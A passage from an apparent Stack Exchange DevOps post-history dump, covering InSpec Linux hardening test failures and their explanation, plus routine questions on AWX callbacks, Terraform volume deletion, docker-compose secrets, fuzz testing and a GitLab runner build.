that `System Package Attribute 'syslog_pkg' does not have a value. Skipping test.` is installed&#xD;&#xA;  ✔  package-08: Install auditd&#xD;&#xA;     ✔  System Package auditd should be installed&#xD;&#xA;     ✔  Audit Daemon Config log_file should cmp == &quot;/var/log/audit/audit.log&quot;&#xD;&#xA;     ✔  Audit Daemon Config log_format should cmp == &quot;raw&quot;&#xD;&#xA;     ✔  Audit Daemon Config flush should match /^incremental|INCREMENTAL|incremental_async|INCREMENTAL_ASYNC$/&#xD;&#xA;     ✔  Audit Daemon Config max_log_file_action should cmp == &quot;keep_logs&quot;&#xD;&#xA;     ✔  Audit Daemon Config space_left should cmp == 75&#xD;&#xA;     ✔  Audit Daemon Config action_mail_acct should cmp == &quot;root&quot;&#xD;&#xA;     ✔  Audit Daemon Config space_left_action should cmp == &quot;SYSLOG&quot;&#xD;&#xA;     ✔  Audit Daemon Config admin_space_left should cmp == 50&#xD;&#xA;     ✔  Audit Daemon Config admin_space_left_action should cmp == &quot;SUSPEND&quot;&#xD;&#xA;     ✔  Audit Daemon Config disk_full_action should cmp == &quot;SUSPEND&quot;&#xD;&#xA;     ✔  Audit Daemon Config disk_error_action should cmp == &quot;SUSPEND&quot;&#xD;&#xA;  ✔  package-09: CIS: Additional process hardening&#xD;&#xA;     ✔  System Package prelink should not be installed&#xD;&#xA;  ↺  sysctl-01: IPv4 Forwarding&#xD;&#xA;     ↺  Skipped control due to only_if condition.&#xD;&#xA;  ✔  sysctl-02: Reverse path filtering&#xD;&#xA;     ✔  Kernel Parameter net.ipv4.conf.all.rp_filter value should eq 1&#xD;&#xA;     ✔  Kernel Parameter net.ipv4.conf.default.rp_filter value should eq 1&#xD;&#xA;  ✔  sysctl-03: ICMP ignore bogus error responses&#xD;&#xA;     ✔  Kernel Parameter net.ipv4.icmp_ignore_bogus_error_responses value should eq 1&#xD;&#xA;  ✔  sysctl-04: ICMP echo ignore broadcasts&#xD;&#xA;     ✔  Kernel Parameter net.ipv4.icmp_echo_ignore_broadcasts value should eq 1&#xD;&#xA;  ✔  sysctl-05: ICMP ratelimit&#xD;&#xA;     ✔  Kernel Parameter net.ipv4.icmp_ratelimit value should eq 100&#xD;&#xA;  ✔  sysctl-06: ICMP ratemask&#xD;&#xA;     ✔  Kernel Parameter net.ipv4.icmp_ratemask value should eq 88089&#xD;&#xA;  ✔  sysctl-07: TCP timestamps&#xD;&#xA;     ✔  Kernel Parameter net.ipv4.tcp_timestamps value should eq 0&#xD;&#xA;  ✔  sysctl-08: ARP ignore&#xD;&#xA;     ✔  Kernel Parameter net.ipv4.conf.all.arp_ignore value should eq 1&#xD;&#xA;  ✔  sysctl-09: ARP announce&#xD;&#xA;     ✔  Kernel Parameter net.ipv4.conf.all.arp_announce value should eq 2&#xD;&#xA;  ✔  sysctl-10: TCP RFC1337 Protect Against TCP Time-Wait&#xD;&#xA;     ✔  Kernel Parameter net.ipv4.tcp_rfc1337 value should eq 1&#xD;&#xA;  ✔  sysctl-11: Protection against SYN flood attacks&#xD;&#xA;     ✔  Kernel Parameter net.ipv4.tcp_syncookies value should eq 1&#xD;&#xA;  ✔  sysctl-12: Shared Media IP Architecture&#xD;&#xA;     ✔  Kernel Parameter net.ipv4.conf.all.shared_media value should eq 1&#xD;&#xA;     ✔  Kernel Parameter net.ipv4.conf.default.shared_media value should eq 1&#xD;&#xA;  ✔  sysctl-13: Disable Source Routing&#xD;&#xA;     ✔  Kernel Parameter net.ipv4.conf.all.accept_source_route value should eq 0&#xD;&#xA;     ✔  Kernel Parameter net.ipv4.conf.default.accept_source_route value should eq 0&#xD;&#xA;  ✔  sysctl-14: Disable acceptance of all IPv4 redirected packets&#xD;&#xA;     ✔  Kernel Parameter net.ipv4.conf.default.accept_redirects value should eq 0&#xD;&#xA;     ✔  Kernel Parameter net.ipv4.conf.all.accept_redirects value should eq 0&#xD;&#xA;  ✔  sysctl-15: Disable acceptance of all secure redirected packets&#xD;&#xA;     ✔  Kernel Parameter net.ipv4.conf.all.secure_redirects value should eq 0&#xD;&#xA;     ✔  Kernel Parameter net.ipv4.conf.default.secure_redirects value should eq 0&#xD;&#xA;  ✔  sysctl-16: Disable sending of redirects packets&#xD;&#xA;     ✔  Kernel Parameter net.ipv4.conf.default.send_redirects value should eq 0&#xD;&#xA;     ✔  Kernel Parameter net.ipv4.conf.all.send_redirects value should eq 0&#xD;&#xA;  ✔  sysctl-17: Disable log martians&#xD;&#xA;     ✔  Kernel Parameter net.ipv4.conf.all.log_martians value should eq 1&#xD;&#xA;     ✔  Kernel Parameter net.ipv4.conf.default.log_martians value should eq 1&#xD;&#xA;  ✔  sysctl-18: Disable IPv6 if it is not needed&#xD;&#xA;     ✔  Kernel Parameter net.ipv6.conf.all.disable_ipv6 value should eq 1&#xD;&#xA;  ↺  sysctl-19: IPv6 Forwarding&#xD;&#xA;     ↺  Skipped control due to only_if condition.&#xD;&#xA;  ✔  sysctl-20: Disable acceptance of all IPv6 redirected packets&#xD;&#xA;     ✔  Kernel Parameter net.ipv6.conf.default.accept_redirects value should eq 0&#xD;&#xA;     ✔  Kernel Parameter net.ipv6.conf.all.accept_redirects value should eq 0&#xD;&#xA;  ✔  sysctl-21: Disable acceptance of IPv6 router solicitations messages&#xD;&#xA;     ✔  Kernel Parameter net.ipv6.conf.default.router_solicitations value should eq 0&#xD;&#xA;  ✔  sysctl-22: Disable Accept Router Preference from router advertisement&#xD;&#xA;     ✔  Kernel Parameter net.ipv6.conf.default.accept_ra_rtr_pref value should eq 0&#xD;&#xA;  ✔  sysctl-23: Disable learning Prefix Information from router advertisement&#xD;&#xA;     ✔  Kernel Parameter net.ipv6.conf.default.accept_ra_pinfo value should eq 0&#xD;&#xA;  ✔  sysctl-24: Disable learning Hop limit from router advertisement&#xD;&#xA;     ✔  Kernel Parameter net.ipv6.conf.default.accept_ra_defrtr value should eq 0&#xD;&#xA;  ✔  sysctl-25: Disable the system`s acceptance of router advertisement&#xD;&#xA;     ✔  Kernel Parameter net.ipv6.conf.all.accept_ra value should eq 0&#xD;&#xA;     ✔  Kernel Parameter net.ipv6.conf.default.accept_ra value should eq 0&#xD;&#xA;  ✔  sysctl-26: Disable IPv6 autoconfiguration&#xD;&#xA;     ✔  Kernel Parameter net.ipv6.conf.default.autoconf value should eq 0&#xD;&#xA;  ✔  sysctl-27: Disable neighbor solicitations to send out per address&#xD;&#xA;     ✔  Kernel Parameter net.ipv6.conf.default.dad_transmits value should eq 0&#xD;&#xA;  ✔  sysctl-28: Assign one global unicast IPv6 addresses to each interface&#xD;&#xA;     ✔  Kernel Parameter net.ipv6.conf.default.max_addresses value should eq 1&#xD;&#xA;  ×  sysctl-29: Disable loading kernel modules&#xD;&#xA;     ×  Kernel Parameter kernel.modules_disabled value should eq #&lt;Inspec::Attribute::DEFAULT_ATTRIBUTE:0x000000052722e8 @name=&quot;kernel_modules_disabled&quot;&gt;&#xD;&#xA;     can't convert Inspec::Attribute::DEFAULT_ATTRIBUTE to Array (Inspec::Attribute::DEFAULT_ATTRIBUTE#to_ary gives Inspec::Attribute::DEFAULT_ATTRIBUTE)&#xD;&#xA;  ✔  sysctl-30: Magic SysRq&#xD;&#xA;     ✔  Kernel Parameter kernel.sysrq value should eq 0&#xD;&#xA;  ✔  sysctl-31a: Secure Core Dumps - dump settings&#xD;&#xA;     ✔  Kernel Parameter fs.suid_dumpable value should cmp == /(0|2)/&#xD;&#xA;  ✔  sysctl-31b: Secure Core Dumps - dump path&#xD;&#xA;     ✔  Kernel Parameter kernel.core_pattern value should match /^\|?\/.*/&#xD;&#xA;  ✔  sysctl-32: kernel.randomize_va_space&#xD;&#xA;     ✔  Kernel Parameter kernel.randomize_va_space value should eq 2&#xD;&#xA;  ✔  sysctl-33: CPU No execution Flag or Kernel ExecShield&#xD;&#xA;     ✔  /proc/cpuinfo Flags should include NX&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Profile Summary: 48 successful controls, 4 control failures, 3 controls skipped&#xD;&#xA;Test Summary: 112 successful, 7 failures, 3 skipped&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```" ContentLicense="CC BY-SA 4.0" />
  <row Id="37568" PostHistoryTypeId="1" PostId="12217" RevisionGUID="a7cfa327-5caa-4f44-adcc-bbf12c3e90c2" CreationDate="2020-08-15T21:36:31.833" UserId="23573" Text="Inspec errors using https://github.com/dev-sec/linux-baseline" ContentLicense="CC BY-SA 4.0" />
  <row Id="37569" PostHistoryTypeId="3" PostId="12217" RevisionGUID="a7cfa327-5caa-4f44-adcc-bbf12c3e90c2" CreationDate="2020-08-15T21:36:31.833" UserId="23573" Text="&lt;inspec&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37570" PostHistoryTypeId="2" PostId="12218" RevisionGUID="19f7be91-fec0-4fc5-bda7-1737c5f9fc7e" CreationDate="2020-08-16T09:21:27.037" UserId="354" Text="A few initial comments for posterity:&#xD;&#xA;&#xD;&#xA;1. You can check exactly what the control is asserting by looking at [the source code](https://github.com/dev-sec/linux-baseline/blob/master/controls/os_spec.rb)&#xD;&#xA;1. You can see what the remediation should be, by checking Dev-Sec's [Ansible role](https://github.com/dev-sec/ansible-os-hardening)&#xD;&#xA;1. Most of your issues seem to be related to missing or incorrect input variables. See [the Inspec documentation on that topic](https://docs.chef.io/inspec/inputs/)&#xD;&#xA;&#xD;&#xA;The specific issues you raise:&#xD;&#xA;&#xD;&#xA;## Check login.defs (4 failed) &#xD;&#xA;&#xD;&#xA;This comes from the control `os-5`:&#xD;&#xA;&#xD;&#xA;```ruby&#xD;&#xA;control 'os-05' do&#xD;&#xA;  impact 1.0&#xD;&#xA;  title 'Check login.defs'&#xD;&#xA;  desc 'Check owner and permissions for login.defs. Also check the configured PATH variable and umask in login.defs'&#xD;&#xA;  describe file('/etc/login.defs') do&#xD;&#xA;    it { should exist }&#xD;&#xA;    it { should be_file }&#xD;&#xA;    it { should be_owned_by 'root' }&#xD;&#xA;    its('group') { should eq 'root' }&#xD;&#xA;    it { should_not be_executable }&#xD;&#xA;    it { should be_readable.by('owner') }&#xD;&#xA;    it { should be_readable.by('group') }&#xD;&#xA;    it { should be_readable.by('other') }&#xD;&#xA;  end&#xD;&#xA;  describe login_defs do&#xD;&#xA;    its('ENV_SUPATH') { should include('/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin') }&#xD;&#xA;    its('ENV_PATH') { should include('/usr/local/bin:/usr/bin:/bin') }&#xD;&#xA;    its('UMASK') { should include(login_defs_umask) }&#xD;&#xA;    its('PASS_MAX_DAYS') { should eq login_defs_passmaxdays }&#xD;&#xA;    its('PASS_MIN_DAYS') { should eq login_defs_passmindays }&#xD;&#xA;    its('PASS_WARN_AGE') { should eq login_defs_passwarnage }&#xD;&#xA;    its('LOGIN_RETRIES') { should eq '5' }&#xD;&#xA;    its('LOGIN_TIMEOUT') { should eq '60' }&#xD;&#xA;    its('UID_MIN') { should eq '1000' }&#xD;&#xA;    its('GID_MIN') { should eq '1000' }&#xD;&#xA;  end&#xD;&#xA;end&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The specific assertions that are failing are related to:&#xD;&#xA;&#xD;&#xA;- umask&#xD;&#xA;- password age (min/max days, warning)&#xD;&#xA;&#xD;&#xA;These use [attributes]() (ie, Inspec input values), which are read [higher up in the control](https://github.com/dev-sec/linux-baseline/blob/aa5adfa85966a9707aa03aef8a2ece0ce75dce04/controls/os_spec.rb#L20):&#xD;&#xA;&#xD;&#xA;```ruby&#xD;&#xA;login_defs_umask = attribute('login_defs_umask', value: os.redhat? ? '077' : '027', description: 'Default umask to set in login.defs')&#xD;&#xA;&#xD;&#xA;login_defs_passmaxdays = attribute('login_defs_passmaxdays', value: '60', description: 'Default password maxdays to set in login.defs')&#xD;&#xA;login_defs_passmindays = attribute('login_defs_passmindays', value: '7', description: 'Default password mindays to set in login.defs')&#xD;&#xA;login_defs_passwarnage = attribute('login_defs_passwarnage', value: '7', description: 'Default password warnage (days) to set in login.defs')&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The error you are getting:&#xD;&#xA;&#xD;&#xA;```ruby&#xD;&#xA;login.defs UMASK should include #&lt;Inspec::Attribute::DEFAULT_ATTRIBUTE:0x00000005a1ea00 @name=&quot;login_defs_umask&quot;&gt;&#xD;&#xA;     can't convert Inspec::Attribute::DEFAULT_ATTRIBUTE to String (Inspec::Attribute::DEFAULT_ATTRIBUTE#to_str gives Inspec::Attribute::DEFAULT_ATTRIBUTE)&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;should be expected, given the previous warning Inspec told you:&#xD;&#xA;&#xD;&#xA;```ruby&#xD;&#xA;WARN: Attribute 'login_defs_umask' does not have a value. Use --attrs to provide a value for 'login_defs_umask' or specify a default  value with `attribute('login_defs_umask', default: 'somedefault', ...)`&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Either you have an old version of Inspec where the default is not set, or you passed a set of input variables where these values are not set.&#xD;&#xA;&#xD;&#xA;## os-06: Check for SUID/ SGID blacklist&#xD;&#xA;&#xD;&#xA;This [control](https://github.com/dev-sec/linux-baseline/blob/aa5adfa85966a9707aa03aef8a2ece0ce75dce04/controls/os_spec.rb#L165) checks the `suid` of a blacklist. It uses a [custom resource](https://docs.chef.io/inspec/dsl_resource/) [`suid_check`](https://github.com/dev-sec/linux-baseline/blob/master/libraries/suid_check.rb). It essentially find's files with certain characteristics:&#xD;&#xA;&#xD;&#xA;```ruby&#xD;&#xA;def permissions&#xD;&#xA;    output = inspec.command('find / -perm -4000 -o -perm -2000 -type f ! -path \'/proc/*\' ! -path \'/var/lib/lxd/containers/*\' -print 2&gt;/dev/null | grep -v \'^find:\'')&#xD;&#xA;    output.stdout.split(/\r?\n/)&#xD;&#xA;end&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Your diff fails because some files match the blacklist, which is again set as an attribute:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;blacklist = attribute(&#xD;&#xA;  'blacklist',&#xD;&#xA;  value: suid_blacklist.default,&#xD;&#xA;  description: 'blacklist of suid/sgid program on system'&#xD;&#xA;)&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;It's [default](https://github.com/dev-sec/linux-baseline/blob/master/libraries/suid_blacklist.rb) has a method `default` with a big list of paths. You can pass your own blacklist by setting it in an input file.&#xD;&#xA;&#xD;&#xA;## sysctl-29: Disable loading kernel modules&#xD;&#xA;&#xD;&#xA;&gt; I accidentally set echo &quot;1&quot; &gt; /proc/sys/kernel/modules_disabled and now I'm unable to set it back&#xD;&#xA;&#xD;&#xA;The [kernel documentation](https://www.kernel.org/doc/html/v5.4/admin-guide/sysctl/kernel.html#modules-disabled) says:&#xD;&#xA;&#xD;&#xA;&gt; Once true, modules can be neither loaded nor unloaded, and the toggle cannot be set back to false. &#xD;&#xA;&#xD;&#xA;You probably have to reboot the machine.&#xD;&#xA;&#xD;&#xA;## package-07: Install syslog server package &#xD;&#xA;&#xD;&#xA;The [control](https://github.com/dev-sec/linux-baseline/blob/master/controls/package_spec.rb#L77) makes an assertion on a package:&#xD;&#xA;&#xD;&#xA;```ruby&#xD;&#xA;describe package(val_syslog_pkg) do&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;where `val_syslog_pkg` is an attribute passed as an input variable:&#xD;&#xA;&#xD;&#xA;`val_syslog_pkg = attribute('syslog_pkg', value: 'rsyslog', description: 'syslog package to ensure present (default: rsyslog, alternative: syslog-ng...')`&#xD;&#xA;&#xD;&#xA;In Ubuntu, this package name is `syslog-ng`." ContentLicense="CC BY-SA 4.0" />
  <row Id="37572" PostHistoryTypeId="2" PostId="12219" RevisionGUID="ba98cc5c-915d-4c28-937e-40381c4a0267" CreationDate="2020-08-17T11:22:26.667" UserId="19083" Text="I have on premise AWX and inventory (instances on AWS). To provision newly launched instance I want to use [provisioning callbacks](https://docs.ansible.com/ansible-tower/latest/html/userguide/job_templates.html#provisioning-callbacks).&#xD;&#xA;But when executing this command from the instance&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;$ curl -v -H 'Content-Type:application/json' -d '{&quot;host_config_key&quot;: &quot;key1&quot;}' https://my-host.com/api/v2/job_templates/28/callback/&#xD;&#xA;```&#xD;&#xA;an error occurs&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;{&quot;msg&quot;:&quot;No matching host could be found!&quot;}&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;What might be wrong with AWX configuration if host is present within the dynamic inventory and `UPDATE ON LAUNCH` flag is enabled?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37573" PostHistoryTypeId="1" PostId="12219" RevisionGUID="ba98cc5c-915d-4c28-937e-40381c4a0267" CreationDate="2020-08-17T11:22:26.667" UserId="19083" Text="AWX cannot find matching host" ContentLicense="CC BY-SA 4.0" />
  <row Id="37574" PostHistoryTypeId="3" PostId="12219" RevisionGUID="ba98cc5c-915d-4c28-937e-40381c4a0267" CreationDate="2020-08-17T11:22:26.667" UserId="19083" Text="&lt;amazon-web-services&gt;&lt;ansible&gt;&lt;provisioning&gt;&lt;awx&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37575" PostHistoryTypeId="5" PostId="5842" RevisionGUID="b4c65f45-6971-4676-a70f-4e4ed405d444" CreationDate="2020-08-17T13:36:05.483" UserId="354" Comment="clean up grammar" Text="I am using a terraform template to create AWS resources.&#xD;&#xA;My count is 2, everything gets created as per plan, and, I am attaching a 2nd EBS volume of 1 GB to both machines, which is also happening well. &#xD;&#xA;&#xD;&#xA;However, the only issue is when I try to delete one EC2 instance using the command below, both of the 2nd EBS volumes of 1 GB are getting destroyed. I checked they are connected on separate instances.&#xD;&#xA;&#xD;&#xA;    $ terraform destroy -target=aws_instance.jumpserver[1]&#xD;&#xA;    aws_vpc.main_vpc: Refreshing state... (ID: vpc-06b59734024ad6adc)&#xD;&#xA;    aws_key_pair.ProdKeypair: Refreshing state... (ID: ProdKeypair)&#xD;&#xA;    aws_security_group.sg_internet_facing: Refreshing state... (ID: sg-05a2739733f4f8a32)&#xD;&#xA;    aws_subnet.public_subnet: Refreshing state... (ID: subnet-0a8c6ea2718a44224)&#xD;&#xA;    aws_instance.jumpserver[1]: Refreshing state... (ID: i-05646d53baa34a988)&#xD;&#xA;    &#xD;&#xA;    An execution plan has been generated and is shown below.&#xD;&#xA;    Resource actions are indicated with the following symbols:&#xD;&#xA;      - destroy&#xD;&#xA;    &#xD;&#xA;    Terraform will perform the following actions:&#xD;&#xA;    &#xD;&#xA;      - aws_ebs_volume.vol_generic_data[0]&#xD;&#xA;    &#xD;&#xA;      - aws_ebs_volume.vol_generic_data[1]&#xD;&#xA;    &#xD;&#xA;      - aws_instance.jumpserver[1]&#xD;&#xA;    &#xD;&#xA;      - aws_volume_attachment.generic_data_vol_att[0]&#xD;&#xA;    &#xD;&#xA;      - aws_volume_attachment.generic_data_vol_att[1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;This is the main.tf:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;```hcl&#xD;&#xA;    # Define webserver inside the public subnets &#xD;&#xA;    resource &quot;aws_instance&quot; &quot;jumpserver&quot; {&#xD;&#xA;      count                       = &quot;${var.num_of_instances}&quot;&#xD;&#xA;      ami                         = &quot;${var.ami}&quot;&#xD;&#xA;      instance_type               = &quot;t2.micro&quot;&#xD;&#xA;      key_name                    = &quot;${aws_key_pair.ProdKeypair.id}&quot;&#xD;&#xA;      subnet_id                   = &quot;${aws_subnet.public_subnet.id}&quot;&#xD;&#xA;      vpc_security_group_ids      = [&quot;${aws_security_group.sg_internet_facing.id}&quot;]&#xD;&#xA;      associate_public_ip_address = true&#xD;&#xA;      source_dest_check           = false&#xD;&#xA;      #   user_data = &quot;${file(&quot;install.sh&quot;)}&quot;&#xD;&#xA;    &#xD;&#xA;      root_block_device = {&#xD;&#xA;        volume_type           = &quot;gp2&quot;&#xD;&#xA;        volume_size           =  &quot;8&quot;  &#xD;&#xA;        delete_on_termination = &quot;${var.delete_on_termincation}&quot;&#xD;&#xA;      }&#xD;&#xA;    &#xD;&#xA;      tags {&#xD;&#xA;        Name = &quot;${format(&quot;jump-%01d&quot;,count.index+1)}&quot;&#xD;&#xA;      }&#xD;&#xA;    &#xD;&#xA;      provisioner &quot;remote-exec&quot; {&#xD;&#xA;        inline = [&quot;sudo apt-get  -y install python&quot;]&#xD;&#xA;    &#xD;&#xA;        connection {&#xD;&#xA;          type        = &quot;ssh&quot;&#xD;&#xA;          user        = &quot;ubuntu&quot;&#xD;&#xA;          private_key = &quot;${file(var.private_key_path)}&quot;&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;aws_ebs_volume&quot; &quot;vol_generic_data&quot; {&#xD;&#xA;      size              = &quot;1&quot;&#xD;&#xA;      count             = &quot;${var.num_of_instances}&quot;&#xD;&#xA;      type              = &quot;gp2&quot;&#xD;&#xA;      availability_zone = &quot;${element(aws_instance.jumpserver.*.availability_zone, count.index)}&quot;&#xD;&#xA;    &#xD;&#xA;     tags = {&#xD;&#xA;        Name = &quot;${format(&quot;jump-%01d&quot;,count.index+1)}&quot;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    resource &quot;aws_volume_attachment&quot; &quot;generic_data_vol_att&quot; {&#xD;&#xA;      device_name = &quot;/dev/xvdf&quot;&#xD;&#xA;      volume_id   = &quot;${element(aws_ebs_volume.vol_generic_data.*.id, count.index)}&quot;&#xD;&#xA;      instance_id = &quot;${element(aws_instance.jumpserver.*.id, count.index)}&quot;&#xD;&#xA;      count       = &quot;${var.num_of_instances}&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    # Define webserver inside the private subnet&#xD;&#xA;    resource &quot;aws_instance&quot; &quot;backendserver&quot; {&#xD;&#xA;      ami                         = &quot;${var.ami}&quot;&#xD;&#xA;      instance_type               = &quot;t2.micro&quot;&#xD;&#xA;      key_name                    = &quot;${aws_key_pair.ProdKeypair.id}&quot;&#xD;&#xA;      subnet_id                   = &quot;${aws_subnet.private_subnet.id}&quot;&#xD;&#xA;      vpc_security_group_ids      = [&quot;${aws_security_group.sg_backend.id}&quot;]&#xD;&#xA;      associate_public_ip_address = false&#xD;&#xA;      source_dest_check           = false&#xD;&#xA;      user_data                   = &quot;${file(&quot;install.sh&quot;)}&quot;&#xD;&#xA;    &#xD;&#xA;      tags {&#xD;&#xA;        Name = &quot;backendserver&quot;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;```&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37576" PostHistoryTypeId="4" PostId="5842" RevisionGUID="b4c65f45-6971-4676-a70f-4e4ed405d444" CreationDate="2020-08-17T13:36:05.483" UserId="354" Comment="clean up grammar" Text="All volumes are deleted when EC2 intance is deleted via terraform" ContentLicense="CC BY-SA 4.0" />
  <row Id="37577" PostHistoryTypeId="6" PostId="5842" RevisionGUID="b4c65f45-6971-4676-a70f-4e4ed405d444" CreationDate="2020-08-17T13:36:05.483" UserId="354" Comment="clean up grammar" Text="&lt;amazon-web-services&gt;&lt;terraform&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37582" PostHistoryTypeId="2" PostId="12222" RevisionGUID="492be81b-bf1d-44c8-9377-3b299dc9ddce" CreationDate="2020-08-17T17:00:01.233" UserDisplayName="user23588" Text="You can use docker secrets a bit differently using `docker-compose` without having to use swarm. [See this](https://docs.docker.com/compose/compose-file/#secrets) for the official documentation. &#xD;&#xA;&#xD;&#xA;Example:&#xD;&#xA;=&#xD;&#xA;&#xD;&#xA; 1. Create a simple compose file like so,&#xD;&#xA;```&#xD;&#xA;version: &quot;3.7&quot;&#xD;&#xA;&#xD;&#xA;services:&#xD;&#xA;&#xD;&#xA;  db:&#xD;&#xA;    image: mariadb:10.5.2&#xD;&#xA;    env_file:&#xD;&#xA;      - ./db.env&#xD;&#xA;    secrets:&#xD;&#xA;      - rootpass&#xD;&#xA;      - dbpass&#xD;&#xA;      - mysqldb&#xD;&#xA;      - mysqluser&#xD;&#xA;    restart: always&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;2. Now add the following in the end &#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;secrets:&#xD;&#xA;  rootpass:&#xD;&#xA;    file: /tmp/root_pass&#xD;&#xA;  dbpass:&#xD;&#xA;    file: /tmp/db_pass&#xD;&#xA;  mysqldb:&#xD;&#xA;    file: /tmp/mysql_db&#xD;&#xA;  mysqluser:&#xD;&#xA;    file: /tmp/mysql_user&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA; 3. Inside those files, keep your password, username, database name etc. in plain text. Then simply deploy the containers `docker-compose up -d`.&#xD;&#xA;&#xD;&#xA;It's similar to how you define volumes and networks in a compose file. &#xD;&#xA;&#xD;&#xA;Keep in mind that this isn't true secret implementation. Here's [the github PR](https://github.com/docker/compose/pull/4368) that added this feature, along with the [main file](https://www.github.com/dnephin/compose/tree/8c4fc4bc2ed82648f7a6ab7e14a492368f997415/compose%2Fconfig%2Fconfig.py) if you're interested." ContentLicense="CC BY-SA 4.0" />
  <row Id="37583" PostHistoryTypeId="2" PostId="12223" RevisionGUID="c5708abc-68ad-4e44-a5af-1d43bbb86eb4" CreationDate="2020-08-17T19:26:47.753" UserId="23573" Text="I would like to fuzz test our web services in our development environment but I do not want to pollute the database with data from the fuzz test.  We do not currently have an automated way of creating a new database and I would like to fuzz test with what we have.  How do other organizations handle this type of issue?" ContentLicense="CC BY-SA 4.0" />
  <row Id="37584" PostHistoryTypeId="1" PostId="12223" RevisionGUID="c5708abc-68ad-4e44-a5af-1d43bbb86eb4" CreationDate="2020-08-17T19:26:47.753" UserId="23573" Text="Fuzz testing web service in development environment" ContentLicense="CC BY-SA 4.0" />
  <row Id="37585" PostHistoryTypeId="3" PostId="12223" RevisionGUID="c5708abc-68ad-4e44-a5af-1d43bbb86eb4" CreationDate="2020-08-17T19:26:47.753" UserId="23573" Text="&lt;devsecops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="37596" PostHistoryTypeId="2" PostId="12226" RevisionGUID="c113bd87-f276-433c-bc12-ba158d98bfde" CreationDate="2020-08-18T06:53:38.617" UserId="20194" Text="Description:&#xD;&#xA;------------&#xD;&#xA;&#xD;&#xA;I have created a test project to serve a simple HTML page with `httpd:alpine` image. The following are the parts of the repository:&#xD;&#xA;&#xD;&#xA;`index.html`:&#xD;&#xA;```&lt;!DOCTYPE html&gt;&#xD;&#xA;&lt;html lang=&quot;en&quot;&gt;&#xD;&#xA;&lt;head&gt;&#xD;&#xA;    &lt;meta charset=&quot;UTF-8&quot;&gt;&#xD;&#xA;    &lt;title&gt;Rostami test page&lt;/title&gt;&#xD;&#xA;&lt;/head&gt;&#xD;&#xA;&lt;body&gt;&#xD;&#xA;    &lt;h1&gt;Hey guys!&lt;/h1&gt;&#xD;&#xA;&lt;/body&gt;&#xD;&#xA;&lt;/html&gt;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;`Dockerfile`:&#xD;&#xA;```&#xD;&#xA;FROM httpd:alpine&#xD;&#xA;&#xD;&#xA;COPY ./ /usr/local/apache2/htdocs/&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;`docker-compose.yml`:&#xD;&#xA;```&#xD;&#xA;version '2.2'&#xD;&#xA;&#xD;&#xA;services:&#xD;&#xA;  myhtml:&#xD;&#xA;  image: html_mrt:latest&#xD;&#xA;  ports:&#xD;&#xA;  - &quot;9999:80&quot;&#xD;&#xA;  restart: on-failure&#xD;&#xA;  container_name: HTML_Rostami&#xD;&#xA;```&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;Issue:&#xD;&#xA;------&#xD;&#xA;&#xD;&#xA;In addition, when I execute `gitlab-runner status` on the GitLab-Runner container, it says:  &#xD;&#xA;```&#xD;&#xA;Runtime platform                                    arch=amd64 os=linux pid=79 revision=a998cacd version=13.2.2&#xD;&#xA;gitlab-runner: Service is not running.&#xD;&#xA;```&#xD;&#xA;I've tried to start the service by `gitlab-runner start` but nothing has affected.&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;Problem:&#xD;&#xA;--------&#xD;&#xA;&#xD;&#xA;It's the log of the build stage:&#xD;&#xA;```&#xD;&#xA;Running with gitlab-runner 13.2.2 (a998cacd)&#xD;&#xA;  on Test K-1ZsHyF&#xD;&#xA;Preparing the &quot;docker&quot; executor&#xD;&#xA;00:11&#xD;&#xA;&#xD;&#xA;Using Docker executor with image docker ...&#xD;&#xA;Pulling docker image docker ...&#xD;&#xA;Using docker image sha256:81f5749c9058a7284e6acd8e126f2b882765a17b9ead14422b51cde1a110b85c for docker ...&#xD;&#xA;Preparing environment&#xD;&#xA;00:02&#xD;&#xA;&#xD;&#xA;Running on runner-k-1zshyf-project-1-concurrent-0 via 806fd175c866...&#xD;&#xA;Getting source from Git repository&#xD;&#xA;00:03&#xD;&#xA;&#xD;&#xA;Fetching changes with git depth set to 50...&#xD;&#xA;Reinitialized existing Git repository in /builds/m.rostami/test/.git/&#xD;&#xA;Checking out 82d339a9 as master...&#xD;&#xA;Skipping Git submodules setup&#xD;&#xA;Executing &quot;step_script&quot; stage of the job script&#xD;&#xA;00:04&#xD;&#xA;&#xD;&#xA;$ docker build -t html_mrt .&#xD;&#xA;time=&quot;2020-08-18T06:36:52Z&quot; level=error msg=&quot;Can't add file /builds/m.rostami/test/docker-compose.yml to tar: io: read/write on closed pipe&quot;&#xD;&#xA;time=&quot;2020-08-18T06:36:52Z&quot; level=error 